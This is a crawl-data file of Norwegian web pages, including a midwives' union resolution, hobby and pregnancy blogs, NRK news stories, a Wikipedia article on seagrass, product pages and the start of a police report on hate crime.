{"url": "http://www.jordmorforeningen.no/politikk/resolusjoner", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:51:04Z", "text": "# Resolusjoner\n\n\n\nResolusjoner vedtatt p\u00e5 Landsm\u00f8tet 2015.\n\nDen norske jordmorforening samlet sine delegater til Landsm\u00f8te i Trondheim 17.-18. september 2015. Det var stort engasjement i diskusjonene. og jordm\u00f8drene samlet seg bak resolusjonene som ble enstemmig vedtatt. En av v\u00e5re hovedoppgaver framover blir \u00e5 s\u00f8rge for at grunnbemanningen ved f\u00f8deinstitusjonene tas opp til grundig vurdering straks, sier leder i Dnj, Kirsten J\u00f8rgensen.\n\n### **Resolusjonene som ble vedtatt er:**\n\n  - Dnj krever at grunnbemanningen ved f\u00f8deinstitusjonene tas opp til grundig vurdering straks - s\u00e5 liv og helse ikke g\u00e5r tapt.\n\n  - Dnj krever fullt forsvarlig arbeidsmilj\u00f8 for alle medlemmer - i alle livsfaser, slik at de slipper \u00e5 forlate yrket p\u00e5 grunn av arbeidspresset.\n  - Dnj krever at jordmors spesialkompetanse innenfor kvinnehelse blir anerkjent og utnyttet til fulle i kommunehelsetjenesten, da dette er b\u00e5de kostnadseffektivt og brukervennlig.\n\n  - Dnj \u00f8nsker fortsatt en differensiert og desentralisert svangerskap,- f\u00f8dsels- og barselomsorg, og vil jobbe for kvinnens rett til \u00e5 velge hvor hun vil f\u00f8de, samt at hjemmef\u00f8dsler blir et reelt og gratis alternativ for de kvinner som \u00f8nsker det.\n\n## Ledige stillinger\n\n100 % stilling som jordmor\u00a0ved DMS Nord-Troms, Sonjatun. 80 % av stillingen er fast og 20 % vikariat, med mulighet for fast tilsetting. Tiltredelse s\u00e5 snart som mulig.\n\nOBS\\! utsatt s\u00f8knadsfrist.\u00a0\n\n", "language": "no", "__index_level_0__": "f4ec9673-ead3-4d7d-b3f7-19aa47818dfc"}
{"url": "http://aasesanna.blogspot.com/2010/11/julekort_15.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:45:24Z", "text": "Noe hobby og noe kommersielt..... \n\n## tirsdag 16. november 2010\n\n### Julekort\n\n  \n  \nMan m\u00e5 jo ha noen fargerike og koselige julekort ogs\u00e5.\n\nHer er det meste av pynten p\u00e5 m\u00f8nsterpapiret fra f\u00f8r....  \n\n  \nHave to make som colorful and cosy Christmas-cards aswell.\n\nMost of the decorations are already on the paper.\n\n  \n#### 4 kommentarer:\n\n1.  \n    \n    Ann Elin16. november 2010 kl. 09:15\n    \n    Hei. S\u00e5 koselig julekort du har laga :)  \n    Sn\u00f8mennene er jo bare s\u00e5\u00e5\u00e5 fine.  \n    Hilsen Ann Elin\n    \n\n2.  \n    \n    salige lavendel16. november 2010 kl. 09:40\n    \n    Bra du var forn\u00f8yd med b\u00e5ndene =)) For noen superblide sn\u00f8menn du har p\u00e5 kortet ditt i dag\\!Kjempet\u00f8fft med den merkelappen bakp\u00e5 kortet ogs\u00e5. Kos deg med dagen din\\!\n    \n3.  \n    \n    Heidi16. november 2010 kl. 09:45\n    \n    S\u00e5 herlige julekort\\!  \n    Nydelig m\u00f8nster ark:)  \n    Ha en fin dag, klem:)\n    \n4.  \n    \n    Connie16. november 2010 kl. 10:07\n    \n    \u00c5\u00e5\u00e5\u00e5\u00e5 for noen nydelige m\u00f8nsterark.  \n    Kortet ble jo bare s\u00e5 lekkert.  \n    Ha en fin kreativ dag.  \n    Klem Connie\n    \n", "language": "no", "__index_level_0__": "cd4824a5-64b1-45dd-a1e5-f0e7701aea38"}
{"url": "https://www.nrk.no/sapmi/samejente-vant-world-cup-bronse-1.13176396", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:44:36Z", "text": "# Samejente vant World Cup-bronse\n\nSajane Karina Olsen fra Manndalen i K\u00e5fjord i Troms fikk pallplass under World Cup Taekwon-do i Budapest.\n\n\n\nMette Ballovara Journalist\n15-\u00e5ringen vant onsdag bronse i \u00f8velsen m\u00f8nster for juniorer r\u00f8dt belte under  Taekwon-do World Cup i Ungarn (ekstern lenke)  .Hun delte bronseplassen med en annen norsk jente, Nora Lillelien.\n\nOmlag 1800 ut\u00f8vere deltar i mesterskapet, som varer til s\u00f8ndag.\n\n## Internasjonal debut\n\nS\u00f8lvet gikk til Hanna Schongin fra Sverige, mens Emilia Romppanen fra Finland var den som stakk av med seieren i denne junior-klassen.\n\nBronsen motiverer det unge talentet fra nord til \u00e5 satse videre i denne idretten.\n\n**\u2013 Jeg hadde ikke forventet \u00e5 komme s\u00e5 langt i min klasse, og synes det var veldig artig og motiverende \u00e5 vinne bronsemedalje. Jeg har aldri konkurrert i internasjonale mesterskap f\u00f8r, men det gir veldig mye motivasjon videre n\u00e5r jeg kan se at jeg faktisk har et ganske h\u00f8yt niv\u00e5, sier Sajane Karina Olsen.**\n\n## NM neste m\u00e5ned\n\nUnder Taekwon-do-NM i Stavanger i fjor vant Olsen to gull.\n\nHun h\u00e5per p\u00e5 \u00e5 hevde seg minst like bra under NM i neste m\u00e5ned, som arrangeres i Bergen neste m\u00e5ned.\n\n\n\n  Publisert  12.10.2016, kl. 21.15 \n\n### Kampsport\n\n\n## G\u00e5r i ringen for sin d\u00f8de far: \u2013 Han var i ferd med \u00e5 bli gl\u00f8ymd\n\n\n\n## Meek frykter ikke Usman: \u2013 Jeg kan sl\u00e5 hvem som helst\n### NRK S\u00e1pmi anbefaler\n\n\n\n## \u2013 I dag er jeg stolt av \u00e5 v\u00e6re same\n\nB\u00e5de publikum og artister er fulle av lovord etter tidenes konsert i S\u00e1pmi. Her f\u00e5r du ogs\u00e5 se den mektige fremf\u00f8ringen av Tysfjord-joiken.\n\nAv Sander Andersen og Simon Piera Paulsen\n\n\n\n## S\u00e1meb\u00e1rtniid r\u00e1hkisvuo\u0111ag\u00e1vpot\n\u2013 Olmmo\u0161 galg\u00e1 \u010duovvut v\u00e1immus, l\u00e1httesta girje\u010d\u00e1lli. R\u00e1hkisvuohta lea dolvon d\u00e1n guokte s\u00e1mi albm\u00e1 deike.\n\nAv Marianne Boine og Nils John Porsanger\n\n", "language": "no", "__index_level_0__": "eb39dff8-0369-479c-a998-f779e45628b8"}
{"url": "http://littkritikk.blogspot.com/2012/03/fordi-jeg-fortjener-det-vil-jeg-si.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:40:11Z", "text": "\n\n## onsdag 28. mars 2012\n\n### Fordi jeg fortjener det... Vil jeg si\n\nI g\u00e5r varen d\u00e5rlig dag, som i VIRKELIG d\u00e5rlig :/  \n\nStakkars Ida (min gode bachelorkompis) som nesten ikke turde snakke til meg tidlig p\u00e5 dagen, fordi jeg var s\u00e5 d\u00e5rlig at jeg bare hadde lyst til \u00e5..Ja jeg vet faktisk ikke hva jeg hadde lyst til, for ingenting ville uansett hjulpet.\n\n  \nMulig det er fordi vi nettopp har stilt klokken,og kroppen min er innstilt en time tilbake.\n\nFor jeg har merket meg at helt siden oktober har jeg trengt mer s\u00f8vn enn ellers, og det \u00e5 st\u00e5 opp F\u00d8R kl7 er bare helt feil, da blir jeg ekstremt kvalm. Veldigveldigveldig ogs\u00e5.\n\nOg dette er ikke noe som har gjeldt frem til uke 12av svangerskapet, neida, i alle h\u00f8yeste grad enda,i 30uke..\n\n  \nS\u00e5 da jeg stod opp halv 8, og hadde sovet d\u00e5rlig den natten, pluss at jeg tok en jerntablett..S\u00e5 var gjerne en kombinasjonen som ikke fungerte.. I g\u00e5r morges.\n\n  \nDet begynte med at jeg m\u00e5tte stoppe bilen etter \u00e5 ha levert minsten i barnehagen, for rett \u00e5 slett kaste opp, p\u00e5 parkeringsplassen til en matbutikk.\n\nBare ELSKER \u00e5 ha publikum til akkurat det.\n\n  \nS\u00e5 da jeg endelig kommer hjem, er det f\u00f8rste jeg m\u00e5 gj\u00f8re \u00e5 brekke meg i det jeg setter foten inn d\u00f8ren.\n\nDeretter tusler jeg som en zombi opp i stua,klar for bachelorskriving, med kaffe-eimen sivende mot meg, som gj\u00f8r at jeg bare brekker meg innvendig ganger5.\n\nJeg pr\u00f8vde, virkelig pr\u00f8vde \u00e5 jobbe effektivt og godt, men alt jeg endte opp med var \u00e5 skape skikkelig d\u00e5rlig stemning, ikke fordi jeg var sur eller spydig, eller s\u00f8t over noe som helst..Bare fordi jeg ikke klarte \u00e5 fungere,og satt og s\u00e5 ut som om jeg skulle bite hode av stakkar herlige Ida.\n\n  \nIkke kunne jeg spise eller dikke noe, for det hadde bare kommet i retur f\u00f8r det hadde n\u00e6rmet seg spiser\u00f8ret, for ikke \u00e5 snakke om magesekken.\n\nOg det \u00e5 ikke f\u00e5 inn v\u00e5tt eller t\u00f8rt gj\u00f8r kvalmen verre, men \u00e5 innta noe som helst ville f\u00e5tt fatale f\u00f8lger.\n\nMen jeg m\u00e5tte dessverre trekke meg tilbake \u00e5 kaste opp flere ganger.. Selv om det ikke fantes smitt eller smule i magen.\n\n  \nF\u00f8rst i 12tiden kunne jeg innta en vannis, og to. Og etter det fikk jeg i meg et rundstykke.\n\nOg det ble litt effektiv jobbing etterhvert.\n\n  \nDa kvelden kom, skulle jeg lage meg noe virkelig godt, fordi jeg ikke hadde f\u00e5tt inn noe, og fordi jeg f\u00f8lte at DET fortjente jeg.\n\nJeg disket opp (til meg selv, jaget samboer vekk, ville v\u00e6re alene).\n\nHjemmelaget potetmoseline, r\u00f8dvinsaus, verdens beste hjemmelagede biffkarbonader og soppstuing\\! Og sukkererter til, det er snaddergodt.\n\n  \nMen, uansett hvor godet var s\u00e5 klarte jeg ikke \u00e5 f\u00e5 inn noe s\u00e6rlig.\n\nDet var bare en s\u00e5nn dag i g\u00e5r.\n\nJeg la meg kl21, fordi jeg fortjente S\u00d8VN\\!\n\n  \n\n| ----------- |  |\n| Reaksjoner: |  |\n\n           \n\n", "language": "no", "__index_level_0__": "37111051-6238-4787-ab6f-988a7057701a"}
{"url": "https://no.wikipedia.org/wiki/Sj%C3%B8gras", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-25T00:08:15Z", "text": "# Sj\u00f8gras\n\n\n\nSj\u00f8graset *Posidonia oceanica* ved Naxos i Hellas\n\n\n\n\u00c5legras\n\n**Sj\u00f8gras** er blomsterplanter som har tilpasset seg et liv helt neddykket i sj\u00f8vann.\n\nDe omfatter omtrent 60 arter i familiene Hydrocharitaceae, Cymodoceaceae, Posidoniaceae, Zosteraceae og Ruppiaceae.^(\\[1\\]) Alle tilh\u00f8rer ordenen Alismatales innenfor de enfr\u00f8bladete plantene. De er alts\u00e5 ikke gras i egentlig betydning. Navnet skyldes at de har lange og smale blad, og at de vokser i tette bestander som minner om enger under vann. Noen egentlige grasarter, som *Spartina* og saltgras (*Puccinellia*), vokser med r\u00f8ttene i sj\u00f8vann, men de regnes ikke som sj\u00f8gras.\n\nSj\u00f8gras er festet til bunnen med r\u00f8tter som g\u00e5r ned i bunnsedimentene. De vokser derfor helst p\u00e5 bl\u00f8tbunn, mens tang og tare dominerer p\u00e5 hardbunn. En kraftig jordstengel ligger horisontalt nede i sedimentene. Korte, vertikale skudd med blad og blomster sitter med jevne mellomrom p\u00e5 jordstengelen.^(\\[2\\])\n\nUtbredelsen omfatter alle hav utenom polomr\u00e5dene. De er avhengig av lys for \u00e5 drive fotosyntese og vokser derfor bare p\u00e5 grunt vann. Hydrogenkarbonat brukes som karbonkilde i stedet karbondioksid, som landplantene bruker. Bladene er smale og tynne for \u00e5 gj\u00f8re det lettere \u00e5 ta hydrogenkarbonat ut av vannet. De har lyktes i \u00e5 utvikle pollinering under vann, men vegetativ formering har likevel stor betydning for disse plantene.\n\nOmr\u00e5der med sj\u00f8gras er produktive \u00f8kosystemer, og en mengde dyrearter lever her. Dyr som beiter p\u00e5 sj\u00f8gras er blant annet suppeskilpadde, sj\u00f8kyr, fisk, gjess, svaner, sj\u00f8piggsvin og krabber.\n\nDet eneste vanlige sj\u00f8graset i Norge er \u00e5legras, som finnes langs hele kysten p\u00e5 bl\u00f8tbunn ned til 10\u00a0m dyp. I noen brakkvannsomr\u00e5der finnes det enger med havgras og tj\u00f8nnaks. Enger med dverg\u00e5legras er sjeldne og finnes bare i Oslofjorden, J\u00e6ren og Sunnhordland.^(\\[3\\])\n\n", "language": "no", "__index_level_0__": "cde3e299-d41b-4f6a-a5c0-3ac318fb71b4"}
{"url": "http://getjuicing.blogg.no/1278444588_deotips.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:36:27Z", "text": "## Deo-tips\n\nIherb har reddet meg, igjen :)  \n  \n  \n  \n  \nJeg har pr\u011dvd utallige deodoranter - uten hell. De skal v\u0109re naturlige, UTEN aluminium, og de skal ikke lukte for mye.  \nDe jeg har pr\u011dvd har ikke funket. Enten lukter de rart eller s\u010b virker det som de fremkaller svettelukt istedet for \u010b stoppe den. Nei usj, jeg er kresen n\u010br det gjelder deodoranter. Sterilan kan kanskje funke de, men de er med aluminium og irriterer sensitiv hud, s\u010b da hjelper det meg lite.  \n  \nRoll-on deodorant med lukt av jasmin funker, og jeg bestilte den nettopp fordi den hadde f\u010btt s\u010b mange positive tilbakemeldinger fra andre som hadde pr\u011dvd den. S\u010b n\u010b er jeg forn\u011dyd, og kommer nok til \u010b bestille denne igjen. Muligens en annen variant neste gang, for den finnes i forskjellige lukter.Jasmin lukten er\u00a0jo litt spesielt, men jeg liker den egentlig jeg,\u00a0og dessuten forsvinner lukten noks\u010b raskt. Kj\u011dpes for $5.19 p\u010b Iherb - s\u010b ikke er det spesielt dyrt heller.  \n  \nBare ett lite tips til dere Iherb-shoppere til neste gang dere er p\u010b utkikk etter en effektiv og naturlig deodorant\\!  \n  \n  \n### 5 kommentarer\n\n\n#### Silje Silje\n\n06.jul.2010 kl.22:39\n\nHar tenkt p\u010b den nye fra Body Shop jeg, har h\u011drt bra om den ogs\u010b. Er den du kj\u011dpte slik at man svetter hysterisk mye av den? Det skal visst ikke bodyshop'en v\u0109re, til tross for at den er uten aluminium.\n\n\n\n#### Kine - Get juicing\n\n06.jul.2010 kl.23:54\n\nSilje: Jeg kan ikke snakke for andre som har pr\u011dvd den nye fra body shop, men jeg har kastet min i s\u011dpla etter en \"pr\u011dveperiode\"..det var egentlig den jeg siktet til n\u010br jeg skrev at noen fremkaller ekstra mye svette. Men som sagt,jeg kan ikke snakke for andre,mulig den funker bra for noen..men b\u010bde jeg og samboern har pr\u011dvd to forskjellige av disse og vi f\u011dlte vi gikk rundt og stinket n\u010br vi brukte disse..=/ Veldig dumt, for jeg hadde ogs\u010b forventninger til disse p\u010b forh\u010bnd..\n\n\n\n#### Veronica\n\n07.jul.2010 kl.10:43\n\nS\u010b rart at man kan svette av en deo\\!\\! Men alt er vel mulig.  \n  \nAbsolutt bra det kommer ting som er fri fra kjemikalier. H\u011drte aldri om noe s\u010bnt da jeg var yngre, s\u010b jeg begynte aldri med sminke eller noe ting \"un\u011ddvending\" pga jeg hadde en magef\u011dlelse som sa at dette kan ikke v\u0109re bra for oss i lengden.... og s\u010b l\u0109rte jeg om e-stoffer i mat, og DET er jo ikke bra for oss i lengden\\!\\!\\!  \n  \nS\u010b mot slutten av ten\u010brene s\u010b fristet det jo heller ikke \u010b begynne med slikt pga jeg forsto ikke innholdet... jeg kan fortsatt ikke se p\u010b et slikt produkt og se om det er bra eller ikke, men jeg forst\u010br jo noe etterhvert... min \"anti-klister-hjerne\" husker noen ord. De er jo s\u010b lange alle xD  \n  \nsv: pr\u011dv det br\u011ddet du, men hvis du kan, ha i egg ogs\u010b. Jeg har laget ett innlegg til jeg kan legge det ut idag for den saks skyld... med den andre halve posen. Lagde burgerbr\u011dd jeg ;) haha. Men da f\u010br du lest litt mer der hva jeg syntes om konsistensen. Tror n\u011dkkelen er egg og en mindre porsjon om gangen. men hvem sier vel nei til nybakt br\u011dd hver dag ;)\n\n\n\n#### Mjuuugly\n\n07.jul.2010 kl.16:02\n\nsv: Hehe, nei, absolutt ikke. N\u010b vet jeg ikke hvordan andre gj\u011dr det, men jeg lastet opp bildet p\u010b tinypic.com og brukte den \u011dverste linken. Lagret den s\u010b i \"widgets\" og fjernet den f\u011drste linken: \"http//:tinypic.com\" og byttet den ut med linken til \"Bevisste bloggere\"-siden. H\u010bper du finner ut av det :)  \n  \nKjempefint med deotips. Har funnet en jeg er ganske forn\u011dyd med, men tror jeg m\u010b teste denne og etterhvert\\! :D\n\n\n\n#### Line\n\n20.jul.2010 kl.15:32\n\nTakk for tipset. Synes selv det er vanskelig \u010b finne deodoranter som er naturlige, fungerer og lukter godt:)  \n  \nL:)\n\n", "language": "no", "__index_level_0__": "46ae1f91-e1d4-4c91-a95a-38a067d26b7b"}
{"url": "http://bartesnurr.blogspot.com/2010/05/praha-part-1.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:28:41Z", "text": "\n\n## mandag 24. mai 2010\n\n### Praha part 1\\!\\!\n\nEr det \u00e9n ting jeg virkelig *ikke* savner med Elverum, er det \u00e5 bare kunne laste opp ett og ett bilde av gangen for \u00e5 unng\u00e5 klikkonett. For \u00e5 feire hastigheten p\u00e5 nettet, legger jeg ut ca en million bilder fra klasseturen\\!\\! JA\\!\\!\n\n  \n\n**DEL I - bussturen**\n\n  \nP\u00e5 grunn av mongovulkanen, m\u00e5tte vi droppe flyet og kj\u00f8re **22 timer** i buss i stedet. Men det var jo g\u00f8y d\u00e9t\\! Avreise skjedde 07:00, noe som forklarer de mer eller mindre tilbakest\u00e5ende personlighetene p\u00e5 bildene som kommer.\n\n  \nDet var heldigvis litt *annen* underholdning p\u00e5 bussen ogs\u00e5. Vi fikk f\u00f8rst en dose **Bye og R\u00f8nning**, men det er jo nesten obligatorisk \u00e5 vise litt **Keanu Reeves og Sandra Bullock** ogs\u00e5.\n\n  \nSiden ikke alle hadde lyst til \u00e5 se en film om bussbomber med *litt* overdrevne actionscener, ble det satt igang **gruble**. Temaene var hakket mer alternative enn de man gjerne finner i familiespillet.\n\n  \nJeg for min del, spilte heller **Pok\u00e9mon**\\!\n\n  \nS\u00e5 ble Eivind emo.\n\nOg plutselig sovna alle sammen.\n\nMen s\u00e5 gikk sola ned, og da v\u00e5kna alle igjen og l\u00e6rte Elvijs (han p\u00e5 bilde nr.2) \u00e5 synge norske barnesanger.\n\n(Elvijs er fra Latvia, og kan si \u00e9n frase p\u00e5 engelsk - *Give me a cigarette\\!*)\n\n  \n\n\n  \nKlokken nullfemhundre stoppet bussen utenfor hotellet, og vi fikk g\u00e5 og sove i 4 timer f\u00f8r vi skulle st\u00e5 opp og utforske Praha.\n\n Made by  \n\nFloka  kl. \n\n12:50           \n\n Look it up: lizm skillz, skole \n\n#### 3 kommentarer:\n\n \n\njulie aida sa...\n\n\u00c5\u00c5H. tusen tusen tusen takk\\! for noen fine ord, da. \u00e5H.\n\n 27. mai 2010 kl. 00:06    \n\n \n\njulie aida sa...\n\ntror du jeg hadde tatovert et spr\u00e5k jeg ikke kunne, eller var sikker p\u00e5 om det stod riktig? det er bare \u00e9n t, som i endalaust, som er endel\u00f8st p\u00e5 islandsk.  \n  \nkos og klems\n\n 27. mai 2010 kl. 00:22    \n\n \n\njulie aida sa...\n\neller mente du kommentaren du skrev aller f\u00f8rst med en t for mye i \"tatovering\"? det er seint, s\u00e5 jeg er mongotr\u00f8tt og s\u00e5 det akkurat n\u00e5. fikk litt hakeslep om du trodde tattisen var skrevet feil\\! lol\n\n 27. mai 2010 kl. 00:24    \n\n## Me...\n\n\n\n", "language": "no", "__index_level_0__": "6043380b-5dde-4eec-ad92-f2faff97966c"}
{"url": "https://www.vps.no/pub/investor/meldinger-fra-vps/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:40:20Z", "text": "# Meldinger fra VPS\n\nSom eier av en VPS-konto vil du kunne motta investormeldinger fra VPS. Du kan selv velge om du skal f\u00e5 meldinger elektronisk eller per post.\n\nInvestormeldinger kan v\u00e6re f\u00f8lgende:\n\n  - **Endringsmelding:\u00a0**Enhver endring p\u00e5 kontoen, eksempelvis beholdningsendring ved kj\u00f8p/salg av verdipapirer, endring av kontoopplysninger, etablering og avslutning av konto\n  - **\u00c5rsoppgave:\u00a0**\u00c5rlig kontoutskrift med sumposter til selvangivelse og oversikt over dine verdipapirer ved \u00e5rsskiftet\n  - **Realisasjonsoppgave:\u00a0**\u00c5rlig oppgave med dine realisasjoner i fond. (Realisasjonsoppgaver for aksjer f\u00e5r du gjennom Aksjon\u00e6rregisteret.)\n  - **Melding om utbetaling:\u00a0**Opplysninger om utbetaling av utbytte\n  - **Investorinformasjon:\u00a0**Informasjon til investor fra VPS eller kontof\u00f8rer\n  - **Selskapsinformasjon:**\u00a0\u00a0Informasjon fra VPS-registrerte selskaper**\u00a0**\n\n## **Investormeldinger i VPS Investortjenester**\n\nI tjenesten VPS Investortjenester er investormeldinger tilgjengelig helt tilbake til 2000. Her kan du dessuten s\u00f8ke blant meldingene.\n\nHver gang det blir dannet en ny investormelding eller selskapsmelding vil denne v\u00e6re tilgjengelig elektronisk i VPS Investortjenester. Du kan selv velge om du vil motta disse som vanlig post eller som varsel p\u00e5 e-post og selv hente den frem i VPS Investortjenester.\n\n## **F\u00e5r du meldinger fra VPS i postkassen i dag?**\n\nDu kan velge \u00e5 motta meldingene dine kun elektronisk.\u00a0Varsling om nye meldinger vil sendes per e-post, og du slipper \u00e5 motta selve meldingen i din postkasse hjemme.\u00a0Logg deg inn p\u00e5 VPS Investortjenester via din megler, bank eller fondsforvalters nettsider og velg elektroniske meldinger under \u00abkontotilpasninger\u00bb.\n\n", "language": "no", "__index_level_0__": "b677698c-391b-40b7-b7b2-924205eabc56"}
{"url": "https://www.slv.com/nb-no/produkter/lamper/bordlamper.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:22:07Z", "text": "    SLV-lamper, moderne belysningsl\u00f8sninger for forretning-, gastronomi- og arbeidsplasser.\n    **\n    **LYS HAR FASCINERT OSS I 35 \u00c5R.**\n    Lys gir trygghet, vekker f\u00f8lelser, setter aksenter og gir rom sin spesielle atomosf\u00e6re. Det er derfor vi er opptatt av \u00e5 tilby l\u00f8sninger for alle dine innend\u00f8rs og utend\u00f8rs belysningsbehov - uavhengig av om disse er bolig eller av kommersiell art. V\u00e5rt team best\u00e5r av 600 ansatte i 38 land, som alle jobber hardt for \u00e5 gi deg belysningsl\u00f8sninger for eksteri\u00f8r, interi\u00f8r og gjenstander i bolig, messe, butikk, kontor og restaurant. Sjekk ut dette for \u00e5 finne ut hvorfor SLV skiller seg ut.\n      - Bedrift\n    SLV. Ett sterkt kollektiv. Vi gj\u00f8r internasjonal business - oppdag v\u00e5rt SLV samfunn.\n     SLV internasjonalt\n\n \n\n# Bordlamper\n\n# Bordlamper er fleksible i bruk\n\nMed denne typen belysning skaper du en behagelig stemning. **Bordlamper er fleksible** og kan for eksempel plasseres som et dekorativt accessoire i boligen. Dessuten lyser en bordlampe godt opp skrivebordet, slik at det er behagelig \u00e5 lese. I v\u00e5rt utvalg finner du bordlamper i **alle typer stilretninger, farger, st\u00f8rrelser og fasonger**. Det er bare \u00e5 velge den modellen som passer deg best. Ved forandringer i rominndelingen, etter ombygging eller oppussing, er det enkelt \u00e5 flytte den mobile bordlampen til et annet sted.\n\n", "language": "no", "__index_level_0__": "77b150db-1173-4d9f-8ad5-802347523eee"}
{"url": "https://moldequiltelag.wordpress.com/2015/05/08/maimote-med-foredrag/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:15:01Z", "text": "# Molde Quiltelag\n\n## Maim\u00f8te med foredrag\n\nmai 8, 2015 av moldequiltelag\n\n P1070600\u00a0Annrid Nerhus fra Valldalen tok turen til Molde Quiltelag for \u00e5 glede og inspirere oss. Hun hadde med masse quilter og fortalte og viste fra sitt eget quilteliv. Hun oppmodet alle til \u00e5 bruke tid b\u00e5de med barn og eldre og hjelpe dem i. Hun har sv\u00e6rt gode erfaringer med det. Vi ble ogs\u00e5 oppfordret til \u00e5 bli med i konkurranser for v\u00e5r egen l\u00e6ring og ikke v\u00e6re s\u00e5 opptatte av om det er bra nok.\n\nHER er bilder av Annrid sine flotte quilter.\n\nVi hadde ogs\u00e5 bes\u00f8k av Inger-Mette Stenseth fra Min Boutique. Hun \u00f8nsker \u00e5 ha et samarbeid med oss der vi syr ting av brukte jeans som hun samler inn. Gjenbruk og milj\u00f8perspektivet er mye i fokus for tiden. Dette skal vi pr\u00f8ve \u00e5 starte opp med i n\u00e6rmeste fremtid.\n\nMedlemmene hadde ogs\u00e5 mye fint \u00e5 vise.\n\nHER kan du se fra Vis og fortell.\n\nN\u00e5 gleder vi oss til sommertur til Surnadal og bes\u00f8k til Ildri T\u00f8rstad og Quiltebua.\n\n\n\n", "language": "no", "__index_level_0__": "173edef5-5e32-4782-8dc3-413686bdf233"}
{"url": "https://www.nrk.no/ostlandssendingen/pa-pilegrimsferd-i-baerum-1.348040", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-25T00:28:57Z", "text": "# P\u00e5 pilegrimsferd i B\u00e6rum\n\nEn ny pilegrimsvei er tr\u00e5kket opp fra Oslo til T\u00f8nsberg. Et av stoppestedene er Tanum kirke i B\u00e6rum.\n\n## LYD OG VIDEO\u00a0\u00a0\u00a0\n\n## ALT OM:\n\n  - Pilgrimsferd \u00a0Pilgrimsferd, Reporter: Ingvild Edvardsen\n  - Blanda drops fra \u00d8stlandssendingen:\n\n\n\n## Vei med historiske r\u00f8tter\n\n\\- Dette er den fineste pilegrimsveien i Norge, forteller Eivind Luthen i Pilegrimsfelleskapet St. Jacob. Han har v\u00e6rt med p\u00e5 \u00e5 tr\u00e5kke opp de gjengrodde tusen\u00e5rsgamle stiene som g\u00e5r fra kirke til kirke fra Oslo til T\u00f8nsberg.\n\nDen nye l\u00f8ypen g\u00e5r helt fra Mariakirken i Oslo sentrum, via Frognerparken til B\u00e6rum og Haslum kirke og videre forbi Tanum.\n\n\\- Tanum kirke ble bygget rundt 1150 og er en av de vakreste middelalderkirkene langs hele ruten, sier Luthen; - Like ved kirken ligger store gravfelt, noe som er vanlig ved middelalderkirker.\n\n\n\nTanum kirke i B\u00e6rum. Foto: NRK.\n\n## Langs motorveier og stier\n\nPilegrimsveien som g\u00e5r forbi Tanum er asfaltert og biler suser stadig forbi. Luthen innr\u00f8mmer at en ekte pilegrim m\u00e5 t\u00e5le noe biltrafikk og st\u00f8y.\n\nDer de gamle veiene l\u00e5 g\u00e5r det i dag noen steder motorveier, sier han. Vi har v\u00e6rt opptatt av \u00e5 legge rutene s\u00e5 n\u00e6r de opprinnelige som mulig, samtidig som vi selvf\u00f8lgelig m\u00e5 ta hensyn til trafikken, forklarer han. \u2013 Der det er mulig legger vi veien p\u00e5 rolige stier.\n\n## Et sommerminne\n\nLuthen har gjort pilegrimsveier til sitt livsprosjekt og bruker det meste av sommerferien sin til \u00e5 tr\u00e5kke opp og merke pilegrimsveier. Men det er ikke s\u00e5 lett \u00e5 f\u00e5 resten av det norske folk ut p\u00e5 landeveien.\n\n\n\n\\- Folk forbinder dette med katolske tradisjoner, sier Luthen.\n\n\u2013 De tror en pilegrimsferd er en kristen fromhetshandling, sier han og fortsetter, -Man trenger ikke \u00e5 v\u00e6re kristen, dette er noe alle b\u00f8r gj\u00f8re i sommerferien.\n\n\u2013 Det er sunt, du blir kjent med landet ditt p\u00e5 en ny m\u00e5te og det er fantastisk avstressende, sier han og smiler.\n\n  Publisert  09.07.2003, kl. 13.18    Oppdatert  09.07.2003, kl. 14.37 \n\n", "language": "no", "__index_level_0__": "281fc67e-8e60-4175-b638-e586fb389cdf"}
{"url": "https://www.politiet.no/nn/aktuelt-tall-og-fakta/aktuelt/nyheter/2017/10/26/hatkrim-2016/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:47:57Z", "text": "# Stadig flere anmelder hatkriminalitet\n\nI 2016 ble det anmeldt 466 saker, noe som er en \u00f8kning fra 2015 p\u00e5 34,3 prosent.\n\n  - Publisert 26.10.17\n  - Avsender: Politidirektoratet\nTallene fremkommer i en ny rapport fra Politidirektoratet om hatkriminalitet. Hatkriminalitet defineres som lovbrudd som har sin bakgrunn i negative holdninger til andres religion eller livssyn, hudfarge, nasjonale eller etniske opprinnelse, homofile orientering eller nedsatte funksjonsevne. Hatkriminalitet kan derfor gjelde ulike kriminalitetstyper i straffeloven, som vold, trusler, skadeverk, mm.\n\n## Hudfarge og etnisk opprinnelse\n\nNegativ holdning til hudfarge eller etnisk opprinnelse ble oftest oppgitt som grunnlag i 